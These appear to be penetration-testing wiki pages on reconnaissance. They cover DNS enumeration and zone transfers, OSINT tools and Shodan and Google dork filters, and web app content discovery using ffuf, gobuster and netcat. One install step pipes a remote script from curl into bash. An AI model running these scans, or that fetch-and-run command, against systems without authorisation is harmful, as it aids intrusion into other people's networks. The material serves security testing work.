	[Techniques for Using DNS to Find Services](#techniques-for-using-dns-to-find-services)


	[Tools](#tools)
* [Nslookup](#nslookup)
* [dig](#dig)
* [Fierce](#fierce)
* [DNSRecon](#dnsrecon)


	[Zone Transfers](#zone-transfers)
* [Zone Transfers Using dig](#zone-transfers-using-dig)
* [Zone Transfer Using Windows CMD](#zone-transfer-using-windows-cmd)


	[DNS Online Tools](#dns-online-tools)




## Background

DNS discovery is the process of finding and mapping domain names and IP addresses in a network. It’s a key step in the reconnaissance phase of a penetration testing process, aimed at identifying systems, services, and potential vulnerabilities. DNS discovery can be done manually or through automated tools and provides valuable information for more targeted penetration testing.

## Techniques for Using DNS to Find Services

Follow these techniques to find services using DNS in penetration testing


	Scan target domain with tools such as nslookup, dig, and dnsrecon.


	Use bruteforce techniques to identify all hostnames within the domain.


	Perform subdomain enumeration with wordlists.


	Monitor target domain for changes to its DNS records.


	Use tools like Fierce to perform active scans.


	Gather OSINT information about the target domain.


	Minimize the amount of network traffic generated.




## Tools

DNS discovery can be performed manually, using tools such as the ping command or the nslookup utility, or by using automated tools, such as port scanners or vulnerability assessment software. The information obtained from DNS discovery can be used to plan and execute more targeted and effective penetration testing and security assessments.

### Nslookup

[nslookup](https://www.broadbandsearch.net/nslookup) is a tool for querying DNS to obtain domain name or IP address information. In DNS discovery, it can be used to retrieve information about specific hostnames or IP addresses, providing valuable insights into a network’s infrastructure during penetration testing reconnaissance.

Resolve a given hostname to the corresponding IP:

`shell
nslookup targetorganization.com
`

Obtain CNAME DNS record:

`shell
nslookup --type=CNAME targetorganization.com
`

Obtain MX DNS record:

`shell
nslookup -query=mx example.com
`

Displays nameservers for given domain:

`shell
nslookup -type=ns domain
`

Use reverse DNS lookup to resolve an IP address to the given PTR record hostname:

`shell
nslookup -type=PTR IP_address
`

### dig

The dig command is a tool for querying the DNS system to retrieve information about domain names and IP addresses. It provides more detailed output than nslookup.

Use the dig command in linux to return DNS information

`shell
dig a domain-name-here.com @nameserver
`

### Fierce

Fierce is a semi-lightweight scanner that helps locate non-contiguous IP space and hostnames against specified domains using DNS.

[Fierce](https://github.com/mschwager/fierce)

### DNSRecon

DNSRecon is a reconnaissance tool in Kali Linux that gathers information about a target domain’s DNS infrastructure by performing techniques such as zone transfers, subdomain enumeration, and brute-force attacks.

Example using Kali dnsrecon on TARGET using the wordlist file dnsmap.txt and outputs results to output.xml:

`bash
dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml
`

## Zone Transfers

A DNS zone transfer is the process of copying the entire database of DNS records from one DNS server to another, allowing for replication of the DNS information.

### Zone Transfers Using dig

An example where the dig command is used to transfer the entire zone database for the domain “example.com” from the DNS server “ns1.example.com”. The AXFR option specifies that the query is a request for a zone transfer.

`shell
dig @ns1.example.com example.com AXFR
`

### Zone Transfer Using Windows CMD

An example of the nslookup command where type=any sets query to retrieve all DNS record types, and ls -d blah performs zone tranfers for the domain example.com:

`CMD
nslookup -> set type=any -> ls -d example.com
`

## DNS Online Tools


	[HackerTarget](https://hackertarget.com/dns-lookup/): An online reconnaissance tool that allows you to perform scans on a target domain, including a comprehensive DNS scan.


	[DNSDumpster](https://dnsdumpster.com/): A reconnaissance tool that provides a visual representation of a target domain’s DNS infrastructure, including its subdomains, DNS servers, and other associated information.


	[DNSTwist](https://dnstwist.it/): A tool that helps you enumerate subdomains and perform reconnaissance on a target domain’s DNS infrastructure.


	[DNSlytics](https://dnslytics.com/): A tool that provides a visual representation of a target domain’s DNS infrastructure, as well as historical information about changes to its DNS records.


	[MXToolbox](https://mxtoolbox.com/): A tool that provides a comprehensive set of diagnostic and monitoring services for DNS, email delivery, and website uptime.


	[Active & Passive Recon Cheatsheet](https://infinitelogins.com/2021/02/20/active-passive-recon-cheatsheet/)


	[DNS Recon Cheat Sheet](https://github.com/Xservus/Pentest/blob/master/dns_recon_cheatsheet.txt)


	[IP, DNS, Domain Enumeration Cheat Sheet](https://github.com/Shiva108/CTF-notes/blob/master/Notes%20VA/IP%2C%20DNS%20Domain%20Enumeration%20Cheatsheet.txt




)
* [DNS Query Web Tool](https://www.dnsqueries.com/en/)
* [Online NsLookup Tool](https://www.broadbandsearch.net/nslookup)



            

          

      

      

    

  

    
      
          
            
  # Open Source Intelligence

Open Source tools and techniques for information gathering


	[Background](#background)


	[Techniques](#techniques)
* [Search Engines](#search-engines)
* [Social Media](#social-media)
* [Public Databases](#public-databases)
* [Forums](#forums)
* [Document Sharing Websites](#document-sharing-websites)
* [Darkweb](#darkweb)
* [Email Address Enumeartion](#email-address-enumeration)


	[Tools](#tools)
* [Google Dorks](#google-dorks)
* [Maltego](#maltego)
* [OSINT Framework](#osint-framework)
* [TheHarvester](#theharvester)
* [SimplyEmail](#simplyemail)
* [Recon-ng](#recon-ng)
* [OWASP Amass](#owasp-amass)
* [SpiderFoot](#spiderfoot)
* [Shodan](#shodan)
* [Whois Lookup Tools](#whois-lookup-tools)
* [WhoisXML API](#whoisxml-api)
* [URL Scanners](#url-scanners)
* [GitLeaks](#gitleaks)
* [Metagoofil](#metagoofil)
* [FOCA](#foca)


	[Resources](#resources)




## Background

Open Source Intelligence (OSINT) is the process of gathering information about a target from publicly available sources, such as websites, social media, government databases, and other sources, in order to aid with penetration testing.

## Techniques

There are many techniques for gathering OSINT that include utilizing search engines, social media, public databases, forums, doument sharing websites, and the darkweb.

### Search Engines


	Google, Bing, Yahoo, and other search engines are some of the most commonly used tools for OSINT. They allow you to search for information on a particular topic or individual.
* See Google Dorks for information on using Google for OSINT


	Search Engine News aggregators: News aggregators such as Google News, Yahoo News, and the BBC News website can be used to search for news articles on a particular topic or individual.


	Reverse image search engines: Reverse image search engines such as Google Images, TinEye, and Karma Decay allow you to search for other instances of a particular image on the Internet.


	Online maps: Online maps such as Google Maps and Bing Maps can be used to gather information about a particular location or to visualize geographical data.




### Social Media


	Social media platforms such as Twitter, Facebook, Instagram, and LinkedIn provide a wealth of information about individuals and organizations.


	Tools such as Social Mention, Brand24, and Hootsuite can be used to monitor social media for specific keywords and mentions.




### Public Databases


	Publicly available databases such as the Securities and Exchange Commission (SEC) EDGAR database, the United States Patent and Trademark Office (USPTO) database, and the General Services Administration (GSA) database can provide information about companies and individuals.




### Forums


	Online forums and discussion boards such as Reddit, Quora, and Yahoo Answers can provide valuable insights into a particular topic or individual.




### Document Sharing Websites


	*Websites such as Scribd, Slideshare, and Docstoc can be used to find publicly available documents such as presentations, reports, and white papers. GitHub can also be a source of valuable OSINT.




### Darkweb


	The dark web, also known as the deep web, is a portion of the internet that is not indexed by search engines and can only be accessed using special software such as Tor. While it is often associated with illegal activities, the dark web can also be a valuable source of information for OSINT.




### Email Address Enumeration

site:organisation.com intext:@organisation.com

https://github.com/sherlock-project/sherlock

https://haveibeenpwned.com/

## Tools

The following tools can be used to gather OSINT, including Google Dorks, Malteo, OSINT Framework, TheHarvester, Recon-ng, OWASP Amass, SpiderFoot, Shodan, Whois Lookup Tools, WhoisXML API, and URL Scanners.

### Google Dorks


	Google Dorks are advanced search queries that can be used to find specific types of information on the Internet.


	Here is a simple list of Google Search Operators:




|Operator     |Example                    |Description                                                            |
|-------------|—————————|-----------------------------------------------------------------------|
|`cache:`     |`cache:www.google.com web` |Shows the version of the web page that Google has in its cache         |
|`link:`      |`link:www.google.com`      |List webpages with links pointing to the Google homepage               |
|`related:`   |`related:www.google.com`   |List web pages that are similar to the Google homepage                 |
|`info:`      |`info:www.google.com`      |Shows information about the Google homepage                            |
|`define:`    |`define:google`            |Provides a definition of the words you enter after it                  |
|`stocks:`    |`stocks: intc yhoo`        |Will show information about Intel and Yahoo, use ticker                |
|`site:`      |`help site:com`            |Restricts the results to those websites in the given domain            |
|`allintitle:`|`allintitle: google search`|Restricts the results to those with all of the query words in the title|
|intitle:   |intitle:google           |Restricts the results to documents containing that word in the title   |
|allinurl:  |allinurl: foo/bar        |Restricts the results to those with all of the query words in the url  |
|inurl:     |inurl:google             |Restricts the results to documents containing that word in the url     |


	Resources
* [Exploit-DB Google Hacking Database](https://www.exploit-db.com/google-hacking-database): This is a comprehensive database of Google Dorks, maintained by Offensive Security.
* [Google Dorking Tool](https://pentest-tools.com/information-gathering/google-hacking): A free online tool that generates Google Dorks based on keywords and search parameters.
* [Google Hacking for Penetration Testers PDF](/resources/Google-Hacking-for-Penetration-Testers.pdf)
* [SANS Google Cheat Sheet](/resources/SANS-Google-Cheat-Sheet.pdf)
* [Google Dork List](https://www.boxpiper.com/posts/google-dork-list)
* [Advanced Google Search Operators](https://ahrefs.com/blog/google-advanced-search-operators/)




### Maltego


	Maltego is an OSINT tool that allows you to visualize and analyze relationships between people, companies, domains, IP addresses, and other entities.


	The community edition of Maltego can be used for free by following [this Maltego guide](https://www.maltego.com/blog/beginners-guide-to-maltego-setting-up-maltego-community-edition-ce/#:~:text=Maltego%20Community%20Edition%20(CE)%20is,OSINT%20and%20graphical%20link%20analyses.)


	Resources
* [Maltego Site](https://www.maltego.com/)
* [Maltego Downloads](https://www.maltego.com/downloads/)
* [Online Documentation](https://docs.maltego.com/support/home)




### OSINT Framework


	[OSINT Framework](https://osintframework.com/) is a comprehensive list of OSINT resources, including websites, databases, and tools, organized by category.




### TheHarvester


	[TheHarvester](https://www.kali.org/tools/theharvester/) is an OSINT tool included in Kali that allows you to gather information about a target from various public sources such as search engines, social media, and other websites. The tool gathers emails, names, subdomains, IPs and URLs using multiple public data sources that include:


	Here is an example of TheHarvester usage where -d kali.org specifies the domain to search, -l 500 limits the search to 500 results, & -b google specifies the data source to use:




`bash
theharvester -d kali.org -l 500 -b google
`

### SimplyEmail

[SimplyEmail](https://github.com/SimplySecurity/SimplyEmail) can be used to enumerate email addreses. SimplyEmail can then verify the discovered email addresss after gathering. The tool works better when using proxies or long throttle times to avoid Captchas.

`bash
curl -s https://raw.githubusercontent.com/killswitch-GUI/SimplyEmail/master/setup/oneline-setup.sh | bash
cd SimplyEmail
./SimplyEmail.py
`

### Recon-ng


	[Recon-ng](https://www.kali.org/tools/recon-ng/) is a web reconnaissance framework included in Kali that allows you to gather information about a target from various sources such as search engines, social media, and other websites. The Recon-ng wiki is found here: <https://github.com/lanmaster53/recon-ng/wiki>




### OWASP Amass


	[OWASP Amass](https://github.com/OWASP/Amass) is an OSINT tool that allows you to gather information about a target’s network, including subdomains, IP addresses, and other assets.


	Resources
* Installation Guide: <https://github.com/OWASP/Amass/blob/master/doc/install.md>




### SpiderFoot


	[SpiderFoot](https://intel471.com/attack-surface-documentation) is an OSINT tool that allows you to gather information about a target from various sources such as search engines, social media, and other websites.


	Resources
* SpiderFoot GitHub Repo: <https://github.com/smicallef/spiderfoot>
* SpiderFoot Guide: <https://nixintel.info/osint-tools/getting-started-with-spiderfoot/>




### Shodan

[Shodan](https://www.shodan.io/) is a search engine for Internet-connected devices and can be used to gather information about a target’s network, including IP addresses, open ports, and running services.

#### Shodan General Filters


Name           | Description                                                                                                                                                                                                            | Type |

—————— | ————————————————————————————————————————————————————————————————————————– | ——– |

after          | Only show results after the given date (dd/mm/yyyy) string                                                                                                                                                                 | string   |

asn            | Autonomous system number string                                                                                                                                                                                            | string   |

before         | Only show results before the given date (dd/mm/yyyy) string                                                                                                                                                                | string   |

category       | Available categories: ics, malware string                                                                                                                                                                                  | string   |

city           | Name of the city string                                                                                                                                                                                                    | string   |

country        | 2-letter country code string                                                                                                                                                                                               | string   |

geo            | Accepts between 2 and 4 parameters. If 2 parameters: latitude,longitude. If 3 parameters: latitude,longitude,range. If 4 parameters: top left latitude, top left longitude, bottom right latitude, bottom right longitude. | string   |

hash           | Hash of the data property integer                                                                                                                                                                                          | integer  |

has_ipv6       | True/ False boolean                                                                                                                                                                                                        | boolean  |

has_screenshot | True/ False boolean                                                                                                                                                                                                        | boolean  |

hostname       | Full hostname for the device string                                                                                                                                                                                        | string   |

ip             | Alias for net filter string                                                                                                                                                                                                | string   |

isp            | ISP managing the netblock string                                                                                                                                                                                           | string   |

net            | Network range in CIDR notation (ex. 199.4.1.0/24) string                                                                                                                                                                   | string   |

org            | Organization assigned the netblock string                                                                                                                                                                                  | string   |

os             | Operating system string                                                                                                                                                                                                    | string   |

port           | Port number for the service integer                                                                                                                                                                                        | string   |

postal         | Postal code (US-only) string                                                                                                                                                                                               | string   |

product        | Name of the software/ product providing the banner string                                                                                                                                                                  | string   |

region         | Name of the region/ state string                                                                                                                                                                                           | string   |

state          | Alias for region string                                                                                                                                                                                                    | string   |

version        | Version for the product string                                                                                                                                                                                             | string   |

vuln           | CVE ID for a vulnerability string                                                                                                                                                                                          | string   |



#### Shodan HTTP Filters


Name                    | Description                                  | Type |

————————— | ———————————————— | ——– |

http.component          | Name of web technology used on the website       | string   |

http.component_category | Category of web components used on the   website | string   |

http.html               | HTML of web banners                              | string   |

http.html_hash          | Hash of the website HTML                         | integer  |

http.status             | Response status code                             | integer  |

http.title              | Title for the web banners website                | string   |



#### Shodan NTP Filters


Name         | Description                                                              | Type |

—————- | —————————————————————————- | ——– |

ntp.ip       | IP addresses returned by monlist                                             | string   |

ntp.ip_count | Number of IPs returned by initial monlist                                    | integer  |

ntp.more     | True/ False; whether there are more IP addresses to be gathered from monlist | boolean  |

ntp.port     | Port used by IP addresses in monlist                                         | integer  |



#### Shodan SSL Filters


Name                 | Description                                       | Type         |

———————— | —————————————————– | —————- |

has_ssl              | True / False                                          | boolean          |

ssl                  | Search all SSL data                                   | string           |

ssl.alpn             | Application layer protocols such as HTTP/2 (“h2”)     | string           |

ssl.chain_count      | Number of certificates in the chain                   | integer          |

ssl.version          | Possible values: SSLv2, SSLv3, TLSv1,TLSv1.1, TLSv1.2 | string           |

ssl.cert.alg         | Certificate algorithm                                 | string           |

ssl.cert.expired     | True / False                                          | boolean          |

ssl.cert.extension   | vNames of extensions in the certificate               | string           |

ssl.cert.serial      | Serial number as an integer or hexadecimal string     | integer / string |

ssl.cert.pubkey.bits | Number of bits in the public key                      | integer          |

ssl.cert.pubkey.type | Public key type                                       | string           |

ssl.cipher.version   | SSL version of the preferred cipher                   | string           |

ssl.cipher.bits      | Number of bits in the preferred cipher                | integer          |

ssl.cipher.name      | Name of the preferred cipher                          | string           |



#### Shodan Telnet Filters


Name          | Description                                             | Type |

—————– | ———————————————————– | ——– |

telnet.option | Search all the options                                      | string   |

telnet.do     | The server requests the client do support these options     | string   |

telnet.dont   | The server requests the client to not support these options | string   |

telnet.will   | The server supports these options                           | string   |

telnet.wont   | The server doesnt support these options                     | string   |



#### Shodan Resources


	[Top Shodan Dorks](https://securitytrails.com/blog/top-shodan-dorks)


	[Awesome Shodan Search Queries](https://github.com/jakejarvis/awesome-shodan-queries)


	[Shodan Tutorial and Primer](https://danielmiessler.com/study/shodan/)


	[Shodan Website](https://www.shodan.io/)


	[Shodan Filters](https://github.com/JavierOlmedo/shodan-filters)


	[Shodan Filter Reference](https://beta.shodan.io/search/filters)




### Whois Lookup Tools


	[Whois lookup tools](https://whois.domaintools.com/) allow you to gather information about the owner of a domain name or IP address.




### WhoisXML API


	[WhoisXML API](https://www.whoisxmlapi.com/) is a database of information about domains, IP addresses, and other network assets.




### URL Scanners

URL scanners such as [VirusTotal](https://www.virustotal.com/gui/home/upload) and [URLScan](https://urlscan.io/) allow you to scan a website for potential security threats and to gather information about the website’s content and structure.

### GitLeaks

[Gitleaks](https://github.com/zricethezav/gitleaks) is a SAST tool for detecting and preventing hardcoded secrets like passwords, api keys, and tokens in git repos. Gitleaks is an easy-to-use, all-in-one solution for detecting secrets, past or present, in your code.

Installation:

`bash
git clone https://github.com/gitleaks/gitleaks.git
cd gitleaks
make build
`


	For usage see [GitLeak on GitHub](https://github.com/gitleaks/gitleaks)




### Metagoofil

Metagoofil is an information gathering tool designed for extracting metadata of public documents (pdf,doc,xls,ppt,docx,pptx,xlsx) belonging to a target.

Metagoofil is included in Kali Linux. The help menu can be launched running:

`bash
metagoofil -h
`


	[Metagoofil Kali Tools Page](https://www.kali.org/tools/metagoofil/)




### FOCA

FOCA (Fingerprinting Organizations with Collected Archives) is an application used mainly to find metadata and hidden information in the documents it scans. These documents may be on web pages, and can be downloaded and analysed with FOCA.


	FOCA is [available here](https://github.com/ElevenPaths/FOCA).




## Resources


	[OSINT Toolkit](https://one-plus.github.io/)


	[Awesome OSINT](https://github.com/jivoi/awesome-osint)






            

          

      

      

    

  

    
      
          
            
  # Reconnaissance

There are several effective methods for conducting recon for penetration testing:


	[DNS Recon](/reconnaissance/dns-recon.md)


	[OSINT](/reconnaissance/osint.md)


	[Web Application Recon](/reconnaissance/web-application-recon.md)


	Vulnerability scanning




Reconnaissance, both passive and active, is a crucial phase in penetration testing as it helps the tester understand the target system’s architecture, identify potential vulnerabilities, and design a more effective attack strategy.



            

          

      

      

    

  

    
      
          
            
  # Web Application Recon

Tools and techniques for web application recon


	[Background](#background)


	[Techniques](#techniques)
* [Information Gathering](#information-gathering)
* [Footprinting](#footprinting)
* [Manual Content Discovery](#manul-content-discovery)



	[General Content Discovery](#general-content-discovery)


	[Subdomain Discovery](#subdomain-discovery)


	[Framework Discovery](#framework-discovery)








	[Automated Content Discovery](#automated-content-discovery)


	[Parameter Analysis](#paramter-analysis)


	[Header Analysis](#header-analysis)
* [Header Grabbing and Analysis Tools](#header-grabbing-and-analysis-tools)
* [Header Analysis Techniques](#header-analysis-techniques)
* [Shodan](#shodan)


	[Resources](#resources)








## Background

Web application reconnaissance is the process of gathering information about a target web application prior to launching an attack, such as its architecture, technologies, and potential vulnerabilities, to identify attack vectors and plan a successful attack strategy.

## Techniques

There are various techniques and tools used for web application reconnaissance, including website mapping, directory and file enumeration, and the detection of common vulnerabilities such as SQL injection and cross-site scripting (XSS).

Information Gathering, footprinting, manual content discovery, automated content discovery

### Information Gathering

Collect publicly available information about the target web application, such as its technologies used, version numbers, and IP addresses.


	Use Google dorking to discover content, eg:
* site: site:victim.com
* inurl: inurl:admin
* filetype: filetype:pdf
* intitle: intitle:admin
* Use [Google Dorking Cheat Sheet](https://gist.github.com/sundowndev/283efaddbcf896ab405488330d1bbc06)
* Use [Google Hacking Database](https://www.exploit-db.com/google-hacking-database)


	Use [WappAlyzer](https://www.wappalyzer.com/) to identify website technologies


	Use [Wayback Machine](https://archive.org/web/) to view past versions of website


	Search GitHub for repositories related to website


	Search for misconfigured S3 Buckets
* The format of the S3 buckets is http(s)://{name}.s3.amazonaws.com where {name} is decided by the owner




### Footprinting

Footprinting during web application recon for penetration testing involves gathering information about the target web application and its associated network and systems through research, network scans, OS fingerprinting, and analysis of response headers and error messages:


	Network scanning using tools such as Nmap, Nessus, and OpenVAS


	OS fingerprinting using tools such as p0f, Xprobe, and Nmap


	Analysis of response headers and error messages using tools such as Burp Suite, OWASP ZAP, and Telnet


	Social engineering techniques such as phishing and pretexting.




### Manul Content Discovery

Use the following techniques for manual web application content discovery, which also known as Walking an Application, to find hidden content and administrative interfaces of a web application.

#### General Content Discovery


	Check HTML comments in page source


	Check misconfigured directories with bad permissions by searching URLs


	Search robots.txt for hidden pages


	Search sitemap.xml for site structure


	Use browser developer tools like Inspector, Debugger, Network, Storage, and Breakpoints




#### Subdomain Discovery


	Search SSL/TLS Certificates using [Certificate Search](http://crt.sh/) or [Certificate Transparency Search Tool](https://ui.ctsearch.entrust.com/ui/ctsearchui)


	Use Google Dorking: site:*.victim.com


	Use [Dnsrecon](https://www.kali.org/tools/dnsrecon/) to bruteforce hostnames


	Use [Sublist3r](https://github.com/aboul3la/Sublist3r)


	Use [ffuf](https://github.com/ffuf/ffuf)




This example uses ffuf for a wordlist-based fuzzing attack. It uses -w to specify a wordlist that contains common subdomain names, the -h option sets a custom header with “Host: FUZZ.acmeitsupport.thm”, -u option specifies the target URL or IP address of the machine. The command replace the “FUZZ” placeholder with each entry from the wordlist to the target URL:


	```bash
	ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H “Host: FUZZ.acmeitsupport.thm” -u http://MACHINE_IP





```

The command is using ffuf to fuzz a target web application by injecting values from the wordlist “/usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt” as the host header value “FUZZ.acmeitsupport.thm” and sending HTTP requests to the machine IP specified in the URL. The “-fs” flag is setting a filter for the response size.

#### Framework Discovery


	Research framework documentation for funcionality like admin login pages or outdated vulnerabilities


	Check out of date software and for the framework about updates/vulnerabilities
* Most common web hosting software: Apache, Nginx, IIS and NodeJS


	Search hash of favicon against [OWASP Favicon Database](https://wiki.owasp.org/index.php/OWASP_favicon_database) to identify web framework




Here is an example of getting the hash of a favicon using bash:


`bash
curl https://victim.com/images/favicon.ico | md5sum
`




Here is an example of getting the hash of a favicon using PowerShell:


` powershell
PS C:\> curl https://victim.com/images/favicon.ico -UseBasicParsing -o favicon.ico
PS C:\> Get-FileHash .\favicon.ico -Algorithm MD5
`




### Automated Content Discovery

Use the following tools for automated web application content discovery, also known as spidering or URL scanning:


	Use Wordlists such as [SecLists](https://github.com/danielmiessler/SecLists) can be used to find common directory and file names


	Web Fuzzers can be used in conjunction with SecLists:
* [ffuf](https://github.com/ffuf/ffuf) example usage



	ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://VICTIM_IP/FUZZ








	[dirb](https://www.kali.org/tools/dirb/) example usage:
* dirb http://VICTIM_IP/ /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt


	[Gobuster](https://github.com/OJ/gobuster) example usage:
* user@machine$ gobuster dir –url http://VICTIM_IP/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt








### Paramter Analysis

Analyzing and manipulating parameters in URLs and form submissions that are passed to a web application to identify potential vulnerabilities. This technique can be used to identify potential attack vectors, such as cross-site scripting (XSS), SQL injection, and others.

### Header Analysis

Header analysis is used to inspect the headers of HTTP responses to gather information about the web server, technology stack, and potential vulnerabilities.

#### Header Grabbing and Analysis Tools

Use the following tools for header grabbing and analysis:


	Burp Suite


	OWASP ZAP


	Fiddler


	HTTP Debugger


	Charles Web Debugging Proxy


	Wireshark


	curl


	Telnet


	Nmap


	Netcat




An example of getting an HTTP header response using curl on Windows:

`powershell
curl https://victim.com -v
`

An example of getting a header response using netcat on Linux:

`bash
nc TARGET-IP 80
GET / HTTP/1.1
Host: TARGET-IP
User-Agent: Mozilla/5.0
Referrer: meh-domain
<enter>
`

#### Header Analysis Techniques


	Review the HTTP headers for information disclosure, such as server type, software versions, and other details.


	Check for security headers, such as X-XSS-Protection, X-Content-Type-Options, and * Strict-Transport-Security.


	Look for cookie attributes, such as secure, HTTPOnly, and SameSite, to understand the application’s security posture.


	Analyze the headers for additional functionality, such as redirects, caching, and compression.


	Investigate the header values for inconsistencies or deviations from standard values, which may indicate misconfigurations or vulnerabilities.




#### Shodan

[Shodan](https://www.shodan.io/) is a search engine for banners grabbed from port scanning the Internet to discover insecure web applications or misconfigured services.

## Resources


	[WappAlyzer](https://www.wappalyzer.com/): A tool that identifies the technologies used by a web application and provides a report of its components and dependencies.


	[OWASP Favicon Database](https://wiki.owasp.org/index.php/OWASP_favicon_database): A resource that catalogs the favicon images used by websites for recognition and fingerprinting purposes.


	[Google Hacking Database](https://www.exploit-db.com/google-hacking-database): A database of search terms and Google Dorks used to find vulnerable and sensitive information on websites.


	[Wayback Machine](https://archive.org/web/): An internet archive that keeps snapshots of websites and their content over time.


	[SecLists](https://github.com/danielmiessler/SecLists): A collection of multiple types of lists used for penetration testing, including wordlists, usernames, and directory paths.


	[ffuf](https://github.com/ffuf/ffuf): A fast web fuzzer tool that can be used for discovering web resources, including directories, files, and parameters.


	[dirb](https://www.kali.org/tools/dirb/): A URL bruteforcer tool that can be used to discover hidden web resources by guessing names of directories and files.


	[Gobuster](https://github.com/OJ/gobuster): A tool for brute-forcing URLs to discover hidden directories and files on web servers.


	[Certificate Transparency Search Tool](https://ui.ctsearch.entrust.com/ui/ctsearchui): A tool that allows you to search for SSL/TLS certificates that have been issued by public certificate authorities.


	[Certificate Search](http://crt.sh/): A tool for searching for SSL/TLS certificates in a database of certificate transparency logs.


	[Dnsrecon](https://www.kali.org/tools/dnsrecon/): A tool for enumerating DNS information, including subdomains, records, and zone transfers.


	[Sublist3r](https://github.com/aboul3la/Sublist3r): A tool for enumerating subdomains of websites using search engines, public databases, and custom wordlists.


	[BuiltWith](https://builtwith.com/): A tool that provides information about the technologies and services used by a website, including its web servers, programming languages, and content management systems.


	[WhatWeb](https://www.whatweb.net/): A tool that performs a fingerprint on a target website and provides information about its technologies, plugins, and other components.


	[Netcraft](https://sitereport.netcraft.com/): A tool that provides information about a website’s hosting environment, including information about its server type, operating system, and IP address.


	[Subdomain Enumeration Techniques](https://blog.appsecco.com/a-penetration-testers-guide-to-sub-domain-enumeration-7d842d5570f6)


	[Shodan](https://www.shodan.io/)
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